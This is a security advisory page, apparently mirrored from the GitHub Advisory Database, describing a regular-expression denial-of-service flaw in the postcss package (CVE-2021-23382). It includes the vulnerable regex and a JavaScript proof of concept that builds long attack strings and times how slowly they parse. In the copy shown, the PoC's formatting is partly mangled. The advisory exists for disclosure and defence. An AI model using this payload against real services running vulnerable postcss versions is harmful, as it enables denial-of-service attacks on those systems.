Ecosyste.ms: Advisories

Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTU2Nm0tcWo3OC1yd3c1

Regular Expression Denial of Service in postcss

The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern

\/\*\s* sourceMappingURL=(.*)

PoC

var postcss = require("postcss")
function build_attack(n) {
    var ret = "a{}"
    for (var i = 0; i < n; i++) {
        ret += "/*# sourceMappingURL="
    }
    return ret + "!";
}

postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i) try {
            postcss.parse(attack_str) var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        } catch (e) {
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        }
    }
}

Permalink: https://github.com/advisories/GHSA-566m-qj78-rww5
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTU2Nm0tcWo3OC1yd3c1
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: almost 3 years ago
Updated: about 1 year ago

CVSS Score: 5.3
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Identifiers: GHSA-566m-qj78-rww5, CVE-2021-23382
References:

• https://nvd.nist.gov/vuln/detail/CVE-2021-23382
• https://github.com/postcss/postcss/commit/2b1d04c867995e55124e0a165b7c6622c1735956
• https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1255641
• https://snyk.io/vuln/SNYK-JS-POSTCSS-1255640
• https://github.com/postcss/postcss/releases/tag/7.0.36
• https://github.com/advisories/GHSA-566m-qj78-rww5

Repository: https://github.com/postcss/postcss
Blast Radius: 34.8

Affected Packages